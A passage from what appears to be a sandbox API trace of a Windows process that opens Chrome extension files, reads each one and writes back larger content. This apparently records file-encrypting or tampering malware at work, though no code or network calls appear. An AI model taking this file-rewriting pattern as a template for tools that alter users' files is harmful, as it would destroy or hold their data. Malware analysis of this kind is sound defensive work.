lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.138] WriteFile (in: hFile=0x1d4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x8b4, lpOverlapped=0x0) returned 1 [0054.138] CloseHandle (hObject=0x1d4) returned 1 [0054.138] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.138] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.138] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x310 [0054.138] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.138] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.138] ReleaseMutex (hMutex=0x128) returned 1 [0054.138] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0054.139] ReadFile (in: hFile=0x1d4, lpBuffer=0x275b028, nNumberOfBytesToRead=0x310, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x2a0f2bc*=0x310, lpOverlapped=0x0) returned 1 [0054.140] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.140] WriteFile (in: hFile=0x1d4, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x898, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2a0f2d0*=0x898, lpOverlapped=0x0) returned 1 [0054.140] CloseHandle (hObject=0x1d4) returned 1 [0054.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.141] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.141] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x100 [0054.141] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.141] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.141] ReleaseMutex (hMutex=0x128) returned 1 [0054.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.141] ReadFile (in: hFile=0x1d4, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2a0f2bc*=0x100, lpOverlapped=0x0) returned 1 [0054.142] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.142] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x688, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x688, lpOverlapped=0x0) returned 1 [0054.143] CloseHandle (hObject=0x1d4) returned 1 [0054.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.143] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.143] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xfd [0054.143] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.143] ReleaseMutex (hMutex=0x128) returned 1 [0054.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.144] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.144] ReadFile (in: hFile=0x1d4, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xfd, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2a0f2bc*=0xfd, lpOverlapped=0x0) returned 1 [0054.153] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.153] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x685, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x685, lpOverlapped=0x0) returned 1 [0054.153] CloseHandle (hObject=0x1d4) returned 1 [0054.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.154] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.154] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xde [0054.154] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.154] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.154] ReleaseMutex (hMutex=0x128) returned 1 [0054.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.154] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c4ea8, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesRead=0x2a0f2bc*=0xde, lpOverlapped=0x0) returned 1 [0054.155] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.155] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2a0f2d0*=0x666, lpOverlapped=0x0) returned 1 [0054.155] CloseHandle (hObject=0x1d4) returned 1 [0054.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.156] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.156] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x8c0bf [0054.156] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.156] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.156] ReleaseMutex (hMutex=0x128) returned 1 [0054.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="angular.js", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0054.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="angular.js", cchWideChar=10, lpMultiByteStr=0x1e630cc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="angular.js", lpUsedDefaultChar=0x0) returned 10 [0054.156] ReadFile (in: hFile=0x1d4, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0054.160] ReadFile (in: hFile=0x1d4, lpBuffer=0x27f5cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.171] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8b0bf [0054.171] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.173] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8b0bf [0054.175] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.175] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0054.175] WriteFile (in: hFile=0x1d4, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0054.176] WriteFile (in: hFile=0x1d4, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.176] CloseHandle (hObject=0x1d4) returned 1 [0054.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\devices.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.176] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.177] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3b [0054.177] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.177] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.177] ReleaseMutex (hMutex=0x128) returned 1 [0054.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="devices.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0054.177] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="devices.html", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devices.html", lpUsedDefaultChar=0x0) returned 12 [0054.177] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e86a88, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e86a88*, lpNumberOfBytesRead=0x2a0f2bc*=0x3b, lpOverlapped=0x0) returned 1 [0054.178] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.178] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c3, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c3, lpOverlapped=0x0) returned 1 [0054.178] CloseHandle (hObject=0x1d4) returned 1 [0054.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.179] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.179] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x8f8 [0054.179] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.179] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.179] ReleaseMutex (hMutex=0x128) returned 1 [0054.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="manifest.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="manifest.json", lpUsedDefaultChar=0x0) returned 13 [0054.179] ReadFile (in: hFile=0x1d4, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x2a0f2bc*=0x8f8, lpOverlapped=0x0) returned 1 [0054.181] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0054.182] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2a0f2d0*=0xe80, lpOverlapped=0x0) returned 1 [0054.182] CloseHandle (hObject=0x1d4) returned 1 [0054.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.182] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.182] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x405d [0054.182] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.182] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.183] ReleaseMutex (hMutex=0x128) returned 1 [0054.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.183] ReadFile (in: hFile=0x1d4, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.187] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x305d [0054.188] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.188] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x305d [0054.188] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0054.188] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0054.188] WriteFile (in: hFile=0x1d4, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0054.188] CloseHandle (hObject=0x1d4) returned 1 [0054.188] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0054.189] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.189] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4082 [0054.189] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0054.189] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0054.189] ReleaseMutex (hMutex=0x128) returned 1 [0054.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0054.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0054.189] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0054.192] SetFilePointer (in: 